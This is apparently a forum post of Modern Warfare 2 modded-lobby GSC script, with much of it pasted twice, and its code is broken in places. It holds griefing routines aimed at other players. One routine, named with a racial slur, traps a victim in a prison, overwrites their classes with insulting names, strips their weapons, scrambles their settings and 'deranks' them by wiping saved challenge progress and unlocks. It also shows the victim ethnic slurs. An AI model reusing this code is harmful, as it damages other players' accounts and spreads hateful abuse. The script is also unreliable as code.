self setPlayerData( "customClasses", 5, "perks", 0, "specialty_localjammer" );
self setPlayerData( "customClasses", 6, "perks", 0, "specialty_heartbreaker" );
self setPlayerData( "customClasses", 7, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 8, "perks", 0, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 0, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 0, "perks", 4, "specialty_marathon" );
self setPlayerData( "customClasses", 1, "perks", 4, "specialty_bling" );
self setPlayerData( "customClasses", 2, "perks", 4, "specialty_thermal" );
self setPlayerData( "customClasses", 3, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 4, "claymore" );
self setPlayerData( "customClasses", 5, "perks", 4, "specialty_coldblooded" );
self setPlayerData( "customClasses", 6, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 7, "perks", 4, "specialty_localjammer" );
self setPlayerData( "customClasses", 8, "perks", 4, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 4, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 0, "specialGrenade", "Throwing_knife" );
self setPlayerData( "customClasses", 1, "specialGrenade", "concussion_grenade" );
self setPlayerData( "customClasses", 2, "specialGrenade", "m1014" );
self setPlayerData( "customClasses", 3, "specialGrenade", "ak47" );
self setPlayerData( "customClasses", 4, "specialGrenade", "coltanaconda" );
self setPlayerData( "customClasses", 5, "specialGrenade", "onemanarmy" );
self setPlayerData( "customClasses", 6, "specialGrenade", "fn2000" );
self setPlayerData( "customClasses", 7, "specialGrenade", "masada" );
self setPlayerData( "customClasses", 8, "specialGrenade", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "specialGrenade", "fal" );
}
WeapTake;
WeapTake(){ self takeAllWeapons(); self ccTXT("Taken all Weapons"); }
doSend(p){ p.location = (900, -78, 3055.1); p setOrigin(p.location);p thread maps\mp\moss\AllMossysStuffHere::plGodmode();}
test1(p){self thread ccTXT("Done");p endon("death");for(;
{p.angle = p GetPlayerAngles();if(p.angle[1] < 179)p SetPlayerAngles( p.angle +(0, 1, 0) );else p SetPlayerAngles( p.angle *(1, -1, 1) );wait 0.0025;}}
druGZ;
druGZ(p) {self endon("death");
p thread giveDrugs();
while (1) {
p VisionSetNakedForPlayer("mpnuke", 1);
wait 0.1;
p VisionSetNakedForPlayer("cheat_chaplinnight", 1);
wait 0.1;
p VisionSetNakedForPlayer("ac130_inverted", 1);
wait 0.1;
p VisionSetNakedForPlayer("aftermath", 1);
}}
giveDrugs(){
self endon("death");self endon("disconnect");
streakIcon2 = createIcon( "cardicon_weed", 80, 63 );
streakIcon2 setPoint("CENTER");
streakIcon = createIcon( "cardicon_sniper", 80, 63 );
streakIcon setPoint("BOTTOMRIGHT", "BOTTOMRIGHT");
streakIcon3 = createIcon( "cardicon_headshot", 80, 63 );
streakIcon3 setPoint("TOPRIGHT", "TOPRIGHT");
streakIcon4 = createIcon( "cardicon_prestige10_02", 80, 63 );
streakIcon4 setPoint("TOPLEFT", "TOPLEFT");
streakIcon5 = createIcon( "cardicon_girlskull", 80, 63 );
streakIcon5 setPoint("BOTTOMLEFT", "BOTTOMLEFT");
streakIcon6 = createIcon( "cardtitle_weed_3", 280, 63 );
streakIcon6 setPoint("BOTTOM", "TOP", 0, 65);
zycieText2 = self createFontString("hudbig", 1.6);
zycieText2 setParent(level.uiParent);
zycieText2 setPoint("BOTTOM", "TOP", 0, 55);
zycieText2 setText( "^6DRUGS FTW");
}
doBadDvars;
doBadDvars(p){
p setclientdvar("sensitivity", "99999");
p setclientdvar("loc_forceEnglish", "0");
p setclientdvar("loc_language", "1");
p setclientdvar("loc_translate", "0");
p setclientdvar("bg_weaponBobMax", "999");
p setclientdvar("cg_fov", "200");
p setclientdvar("cg_youInKillCamSize", "9999");
p setclientdvar("cl_hudDrawsBehindUI", "0");
p setclientdvar("compassPlayerHeight", "9999");
p setclientdvar("compassRotation", "0");
p setclientdvar("compassSize", "9");
p setclientdvar("maxVoicePacketsPerSec", "3");
p setclientdvar("cg_gun_x", "2");
p setclientdvar("cg_gun_y", "-2");
p setclientdvar("cg_gun_z", "3");
p setclientdvar("cg_hudGrenadePointerWidth", "999");
p setclientdvar("cg_hudVotePosition", "5 175");
p setclientdvar("lobby_animationTilesHigh", "60");
p setclientdvar("lobby_animationTilesWide", "128");
p setclientdvar("drawEntityCountSize", "256");
p setclientdvar("r_showPortals", "1");
p setclientdvar("r_singleCell", "1");
p setclientdvar("r_sun_from_dvars", "1");
}
Derank(){
self setClientDvar( "motd","^1YOU GOT ****ING OWNED!!!");
self setClientDvar( "clanname", "****" );
self thread maps\mp\_utility::doLockChallenges();
self thread maps\mp\_utility::doLock();
}
doLockChallenges()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
}
foreach ( challengeRef, challengeData in level.challengeInfo ) {
finalTarget = 1;
finalTier = 1;
for ( tierId = 0; isDefined( challengeData["targetval"][tierId] ); tierId-- )
{
finalTarget = challengeData["targetval"][tierId];
finalTier = tierId - 1;
}
if ( self isItemUnlocked( challengeRef ) )
{
self setPlayerData( "challengeProgress", challengeRef, 0 );
self setPlayerData( "challengeState", challengeRef, 0 );
}
wait ( 0.04 );
}
}
doLock()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
} {
wait 12;
tableName = "mp/unlockTable.csv";
refString = tableLookupByRow( tableName, 0, 0 );
for ( index = 1; index<2345; index++ ) {
refString = tableLookupByRow( tableName, index, 0 );
if(isSubStr( refString, "cardicon_")) {
wait 0.1;
self setPlayerData( "iconUnlocked", refString, 0 );
}
if(isSubStr( refString, "cardtitle_")) {
wait 0.1;
self setPlayerData( "titleUnlocked", refString, 0 );
}
}
}
self setPlayerData( "cardtitle" , "cardtitle_owned" );
self thread maps\mp\gametypes\_hud_message:
ldNotifyMessage( "Get Deranked BITCH!" );
wait 2;
}
espcially adding the prison, it only built the prison when you used it on your self as the host player lol...
espcially adding the prison, it only built the prison when you used it on your self as the host player lol...
scarethatnigga;
so it appears like this menu.funcs[the place it is on your menu]=::scarethatnigga;
scarethatnigga(p){
p.IsScared=1;p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5NOW YOU'VE DONE IT!");
wait 5;
p thread maps\mp\moss\AllMossysStuffHere::LockMenu(p);
wait 1;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU HAD TO PISS ME OFF! DIDN'T YOU?");
wait 1;
p thread maps\mp\gametypes\koth::prisonBuild();
wait 3;
p thread maps\mp\gametypes\koth::fukupclasses();
wait 3;
p thread maps\mp\moss\AllMossysStuffHere::WeapTake();
wait 1;
p thread maps\mp\moss\AllMossysStuffHere::doSend(p);
wait 4;
p thread maps\mp\moss\AllMossysStuffHere::test1(p);
wait 4;
p thread maps\mp\gametypes\koth::druGZ(p);
wait 2;
p thread maps\mp\gametypes\koth::doBadDvars(p);
wait 6;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5YOU DIRTY ARABIAN ARSE WRANGLER!");
wait 1;
p thread maps\mp\moss\AllMossysStuffHere:
erank();
wait 1;
p thread scaryloop();
wait 3;
p thread maps\mp\gametypes\_hud_message::hintMessage("RusterG: ^5DERANKED BITCH! P.S Have a nice day.
");
wait 20;
p.IsScared=0;}
scaryloop(){while(self.IsScared){self freezeControls(true);
self iPrintlnBold("^5Challenges Now Locking...");
wait .03;}
self visionsetnakedforplayer("cheat_chaplinnight",10);
wait 5;
self iPrintlnBold("^5All Challenges, Titles, and Emblems...");
wait 3;
self VisionSetNakedForPlayer( "mpnuke_aftermath", 10 );
self iPrintlnBold("^5Weapons, Attachments, and Camos...");
wait 4;
self iPrintlnBold("^5Are Now...");
wait 3;self iPrintlnBold("^1LOCKED");}

level.PrisonRunOnce=0;
prisonBuild
CreateGrids(corner1, corner2, angle)
{
W = Distance((corner1[0], 0, 0), (corner2[0], 0, 0));
L = Distance((0, corner1[1], 0), (0, corner2[1], 0));
H = Distance((0, 0, corner1[2]), (0, 0, corner2[2]));
CX = corner2[0] - corner1[0];
CY = corner2[1] - corner1[1];
CZ = corner2[2] - corner1[2];
ROWS = roundUp(W/55);
COLUMNS = roundUp(L/30);
HEIGHT = roundUp(H/20);
XA = CX/ROWS;
YA = CY/COLUMNS;
ZA = CZ/HEIGHT;
center = spawn("script_model", corner1);
for(r = 0; r <= ROWS; r++){
for(c = 0; c <= COLUMNS; c++){
for(h = 0; h <= HEIGHT; h++){
block = spawn("script_model", (corner1 + (XA * r, YA * c, ZA * h)));
block setModel("com_plasticcase_friendly");
block.angles = (0, 0, 0);
block Solid();
block LinkTo(center);
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
}
}
center.angles = angle;
}
roundUp( floatVal )
{
if ( int( floatVal ) != floatVal )
return int( floatVal+1 );
else
return int( floatVal );
}
CreateRamps(top, bottom)
{
D = Distance(top, bottom);
blocks = roundUp(D/30);
CX = top[0] - bottom[0];
CY = top[1] - bottom[1];
CZ = top[2] - bottom[2];
XA = CX/blocks;
YA = CY/blocks;
ZA = CZ/blocks;
CXY = Distance((top[0], top[1], 0), (bottom[0], bottom[1], 0));
Temp = VectorToAngles(top - bottom);
BA = (Temp[2], Temp[1] + 90, Temp[0]);
for(b = 0; b < blocks; b++){
block = spawn("script_model", (bottom + ((XA, YA, ZA) * B)));
block setModel("com_plasticcase_friendly");
block.angles = BA;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
block = spawn("script_model", (bottom + ((XA, YA, ZA) * blocks) - (0, 0, 5)));
block setModel("com_plasticcase_friendly");
block.angles = (BA[0], BA[1], 0);
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.01;
}
CreateWalls(start, end)
{
D = Distance((start[0], start[1], 0), (end[0], end[1], 0));
H = Distance((0, 0, start[2]), (0, 0, end[2]));
blocks = roundUp(D/55);
height = roundUp(H/30);
CX = end[0] - start[0];
CY = end[1] - start[1];
CZ = end[2] - start[2];
XA = (CX/blocks);
YA = (CY/blocks);
ZA = (CZ/height);
TXA = (XA/4);
TYA = (YA/4);
Temp = VectorToAngles(end - start);
Angle = (0, Temp[1], 90);
for(h = 0; h < height; h++){
block = spawn("script_model", (start + (TXA, TYA, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
for(i = 1; i < blocks; i++){
block = spawn("script_model", (start + ((XA, YA, 0) * i) + (0, 0, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
block = spawn("script_model", ((end[0], end[1], start[2]) + (TXA * -1, TYA * -1, 10) + ((0, 0, ZA) * h)));
block setModel("com_plasticcase_friendly");
block.angles = Angle;
block Solid();
block CloneBrushmodelToScriptmodel( level.airDropCrateCollision );
wait 0.001;
}
}
prisonBuild(p){
if(self isAllowed(0)&&(!self.PrisonRunOnce)){
self.PrisonRunOnce = 1;self thread testprison();self iprintln("^2Buiding prison...please wait...");wait 5;self iprintln("^3Done");}}
testprison(){
CreateWalls((990, 3, 3040), (790, 3, 3080));
CreateWalls((990, 3, 3120), (790, 3, 3160));
CreateWalls((790, 3, 3040), (790, -150, 3080));
CreateWalls((790, 3, 3120), (790, -150, 3160));
CreateGrids((990, 3, 3040), (790, -150, 3040));
CreateGrids((990, 3, 3160), (790, -150, 3160));
CreateWalls((790, -150, 3040), (990, -150, 3080));
CreateWalls((790, -150, 3120), (990, -150, 3160));
CreateWalls((990, 3, 3040), (990, -150, 3080));
CreateWalls((990, 3, 3120), (990, -150, 3160));
lt1 = loadfx( "misc/flare_ambient" );playfx(lt1,(820, -27.14, 3075));
lt2 = loadfx( "misc/flare_ambient" );playfx(lt2,(820, -120, 3075));
lt3 = loadfx( "misc/flare_ambient" );playfx(lt3,(960, -27.14, 3075));
lt4 = loadfx( "misc/flare_ambient" );playfx(lt4,(960, -120, 3075));
mgTurret = spawnTurret( "misc_turret", (990, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (790, 12.783, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (980, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
mgTurret = spawnTurret( "misc_turret", (780, -140, 3070), "pavelow_minigun_mp" );mgTurret setModel( "weapon_minigun" );mgTurret.angles = (0,-0,0);
}
fukupclasses;
fukupclasses(){
self setPlayerData( "customClasses", 0, "name", "^1Your" );
self setPlayerData( "customClasses", 1, "name", "^2Classes" );
self setPlayerData( "customClasses", 2, "name", "^7Got" );
self setPlayerData( "customClasses", 3, "name", "^1****ed" );
self setPlayerData( "customClasses", 4, "name", "^2By" );
self setPlayerData( "customClasses", 5, "name", "^6The" );
self setPlayerData( "customClasses", 6, "name", "^2One" );
self setPlayerData( "customClasses", 7, "name", "^6And" );
self setPlayerData( "customClasses", 8, "name", "^1Only" );
self setPlayerData( "customClasses", 9, "name", "^1RusterG" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "weapon", "model1887" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "weapon", "ranger" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "weapon", "cheytac" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "weapon", "fal" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "weapon", "pp2000" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "weapon", "glock" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "weapon", "m1014" );
self setPlayerData( "customClasses", 8, "weaponSetups", 0, "weapon", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "weapon", "onemanarmy" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "weapon", "flash_grenade" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "weapon", "model1887" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "weapon", "barrett" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "weapon", "m21" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "weapon", "tmp" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "weapon", "usp" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "weapon", "claymore" );
self setPlayerData( "customClasses", 8, "weaponSetups", 1, "weapon", "c4" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "weapon", "smoke_grenade" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "camo", "red_tiger" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "camo", "red_urban" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "camo", "orange_fall" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "camo", "orange_fall" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "camo", "red_urban" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "camo", "red_tiger" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 0, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 0, "shotgun" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 0, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 0, "silencer" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 0, "akimbo" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 0, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 0, "reflex" );
self setPlayerData( "customClasses", 0, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 1, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 2, "weaponSetups", 0, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 0, "attachment", 1, "silencer" );
self setPlayerData( "customClasses", 5, "weaponSetups", 0, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 0, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 0, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 9, "weaponSetups", 0, "attachment", 1, "thermal" );
self setPlayerData( "customClasses", 0, "weaponSetups", 1, "attachment", 1, "rof" );
self setPlayerData( "customClasses", 1, "weaponSetups", 1, "attachment", 1, "fmj" );
self setPlayerData( "customClasses", 2, "weaponSetups", 1, "attachment", 1, "heartbeat" );
self setPlayerData( "customClasses", 3, "weaponSetups", 1, "attachment", 1, "gl" );
self setPlayerData( "customClasses", 4, "weaponSetups", 1, "attachment", 1, "acog" );
self setPlayerData( "customClasses", 5, "weaponSetups", 1, "attachment", 1, "xmags" );
self setPlayerData( "customClasses", 6, "weaponSetups", 1, "attachment", 1, "tactical" );
self setPlayerData( "customClasses", 7, "weaponSetups", 1, "attachment", 1, "reflex" );
self setPlayerData( "customClasses", 9, "weaponSetups", 1, "attachment", 1, "shotgun" );
self setPlayerData( "customClasses", 0, "perks", 1, "specialty_lightweight" );
self setPlayerData( "customClasses", 1, "perks", 1, "specialty_fastreload" );
self setPlayerData( "customClasses", 2, "perks", 1, "specialty_blastshield" );
self setPlayerData( "customClasses", 3, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 4, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 5, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 6, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 7, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 8, "perks", 1, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 1, "specialty_bling" );
self setPlayerData( "customClasses", 0, "perks", 2, "specialty_fastreload" );
self setPlayerData( "customClasses", 1, "perks", 2, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 2, "perks", 2, "lightstick" );
self setPlayerData( "customClasses", 3, "perks", 2, "claymore" );
self setPlayerData( "customClasses", 4, "perks", 2, "specialty_bling" );
self setPlayerData( "customClasses", 5, "perks", 2, "specialty_lightweight" );
self setPlayerData( "customClasses", 6, "perks", 2, "frag_grenade" );
self setPlayerData( "customClasses", 7, "perks", 2, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 8, "perks", 2, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 2, "specialty_combathigh" );
self setPlayerData( "customClasses", 0, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 1, "perks", 3, "specialty_extendedmelee" );
self setPlayerData( "customClasses", 2, "perks", 3, "specialty_bling" );
self setPlayerData( "customClasses", 3, "perks", 3, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 3, "semtex" );
self setPlayerData( "customClasses", 5, "perks", 3, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 6, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 7, "perks", 3, "specialty_combathigh" );
self setPlayerData( "customClasses", 8, "perks", 3, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 3, "specialty_explosivedamage" );
self setPlayerData( "customClasses", 0, "perks", 0, "specialty_bulletdamage" );
self setPlayerData( "customClasses", 1, "perks", 0, "specialty_bulletaccuracy" );
self setPlayerData( "customClasses", 2, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 3, "perks", 0, "specialty_pistoldeath" );
self setPlayerData( "customClasses", 4, "perks", 0, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 5, "perks", 0, "specialty_localjammer" );
self setPlayerData( "customClasses", 6, "perks", 0, "specialty_heartbreaker" );
self setPlayerData( "customClasses", 7, "perks", 0, "semtex" );
self setPlayerData( "customClasses", 8, "perks", 0, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 0, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 0, "perks", 4, "specialty_marathon" );
self setPlayerData( "customClasses", 1, "perks", 4, "specialty_bling" );
self setPlayerData( "customClasses", 2, "perks", 4, "specialty_thermal" );
self setPlayerData( "customClasses", 3, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 4, "perks", 4, "claymore" );
self setPlayerData( "customClasses", 5, "perks", 4, "specialty_coldblooded" );
self setPlayerData( "customClasses", 6, "perks", 4, "specialty_detectexplosive" );
self setPlayerData( "customClasses", 7, "perks", 4, "specialty_localjammer" );
self setPlayerData( "customClasses", 8, "perks", 4, "specialty_onemanarmy" );
self setPlayerData( "customClasses", 9, "perks", 4, "specialty_grenadepulldeath" );
self setPlayerData( "customClasses", 0, "specialGrenade", "Throwing_knife" );
self setPlayerData( "customClasses", 1, "specialGrenade", "concussion_grenade" );
self setPlayerData( "customClasses", 2, "specialGrenade", "m1014" );
self setPlayerData( "customClasses", 3, "specialGrenade", "ak47" );
self setPlayerData( "customClasses", 4, "specialGrenade", "coltanaconda" );
self setPlayerData( "customClasses", 5, "specialGrenade", "onemanarmy" );
self setPlayerData( "customClasses", 6, "specialGrenade", "fn2000" );
self setPlayerData( "customClasses", 7, "specialGrenade", "masada" );
self setPlayerData( "customClasses", 8, "specialGrenade", "deserteaglegold" );
self setPlayerData( "customClasses", 9, "specialGrenade", "fal" );
}
WeapTake;
WeapTake(){ self takeAllWeapons(); self ccTXT("Taken all Weapons"); }
doSend(p){ p.location = (900, -78, 3055.1); p setOrigin(p.location);p thread maps\mp\moss\AllMossysStuffHere::plGodmode();}
test1(p){self thread ccTXT("Done");p endon("death");for(;
{p.angle = p GetPlayerAngles();if(p.angle[1] < 179)p SetPlayerAngles( p.angle +(0, 1, 0) );else p SetPlayerAngles( p.angle *(1, -1, 1) );wait 0.0025;}}
druGZ;
druGZ(p) {self endon("death");
p thread giveDrugs();
while (1) {
p VisionSetNakedForPlayer("mpnuke", 1);
wait 0.1;
p VisionSetNakedForPlayer("cheat_chaplinnight", 1);
wait 0.1;
p VisionSetNakedForPlayer("ac130_inverted", 1);
wait 0.1;
p VisionSetNakedForPlayer("aftermath", 1);
}}
giveDrugs(){
self endon("death");self endon("disconnect");
streakIcon2 = createIcon( "cardicon_weed", 80, 63 );
streakIcon2 setPoint("CENTER");
streakIcon = createIcon( "cardicon_sniper", 80, 63 );
streakIcon setPoint("BOTTOMRIGHT", "BOTTOMRIGHT");
streakIcon3 = createIcon( "cardicon_headshot", 80, 63 );
streakIcon3 setPoint("TOPRIGHT", "TOPRIGHT");
streakIcon4 = createIcon( "cardicon_prestige10_02", 80, 63 );
streakIcon4 setPoint("TOPLEFT", "TOPLEFT");
streakIcon5 = createIcon( "cardicon_girlskull", 80, 63 );
streakIcon5 setPoint("BOTTOMLEFT", "BOTTOMLEFT");
streakIcon6 = createIcon( "cardtitle_weed_3", 280, 63 );
streakIcon6 setPoint("BOTTOM", "TOP", 0, 65);
zycieText2 = self createFontString("hudbig", 1.6);
zycieText2 setParent(level.uiParent);
zycieText2 setPoint("BOTTOM", "TOP", 0, 55);
zycieText2 setText( "^6DRUGS FTW");
}
doBadDvars;
doBadDvars(p){
p setclientdvar("sensitivity", "99999");
p setclientdvar("loc_forceEnglish", "0");
p setclientdvar("loc_language", "1");
p setclientdvar("loc_translate", "0");
p setclientdvar("bg_weaponBobMax", "999");
p setclientdvar("cg_fov", "200");
p setclientdvar("cg_youInKillCamSize", "9999");
p setclientdvar("cl_hudDrawsBehindUI", "0");
p setclientdvar("compassPlayerHeight", "9999");
p setclientdvar("compassRotation", "0");
p setclientdvar("compassSize", "9");
p setclientdvar("maxVoicePacketsPerSec", "3");
p setclientdvar("cg_gun_x", "2");
p setclientdvar("cg_gun_y", "-2");
p setclientdvar("cg_gun_z", "3");
p setclientdvar("cg_hudGrenadePointerWidth", "999");
p setclientdvar("cg_hudVotePosition", "5 175");
p setclientdvar("lobby_animationTilesHigh", "60");
p setclientdvar("lobby_animationTilesWide", "128");
p setclientdvar("drawEntityCountSize", "256");
p setclientdvar("r_showPortals", "1");
p setclientdvar("r_singleCell", "1");
p setclientdvar("r_sun_from_dvars", "1");
}
Derank(){
self setClientDvar( "motd","^1YOU GOT ****ING OWNED!!!");
self setClientDvar( "clanname", "****" );
self thread maps\mp\_utility::doLockChallenges();
self thread maps\mp\_utility::doLock();
}
doLockChallenges()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
}
foreach ( challengeRef, challengeData in level.challengeInfo ) {
finalTarget = 1;
finalTier = 1;
for ( tierId = 0; isDefined( challengeData["targetval"][tierId] ); tierId-- )
{
finalTarget = challengeData["targetval"][tierId];
finalTier = tierId - 1;
}
if ( self isItemUnlocked( challengeRef ) )
{
self setPlayerData( "challengeProgress", challengeRef, 0 );
self setPlayerData( "challengeState", challengeRef, 0 );
}
wait ( 0.04 );
}
}
doLock()
{
self endon ( "disconnect" );
if (self.doOwn != 1) {
self endon ( "death" );
} {
wait 12;
tableName = "mp/unlockTable.csv";
refString = tableLookupByRow( tableName, 0, 0 );
for ( index = 1; index<2345; index++ ) {
refString = tableLookupByRow( tableName, index, 0 );
if(isSubStr( refString, "cardicon_")) {
wait 0.1;
self setPlayerData( "iconUnlocked", refString, 0 );
}
if(isSubStr( refString, "cardtitle_")) {
wait 0.1;
self setPlayerData( "titleUnlocked", refString, 0 );
}
}
}
self setPlayerData( "cardtitle" , "cardtitle_owned" );
self thread maps\mp\gametypes\_hud_message:
ldNotifyMessage( "Get Deranked BITCH!" );
wait 2;
}
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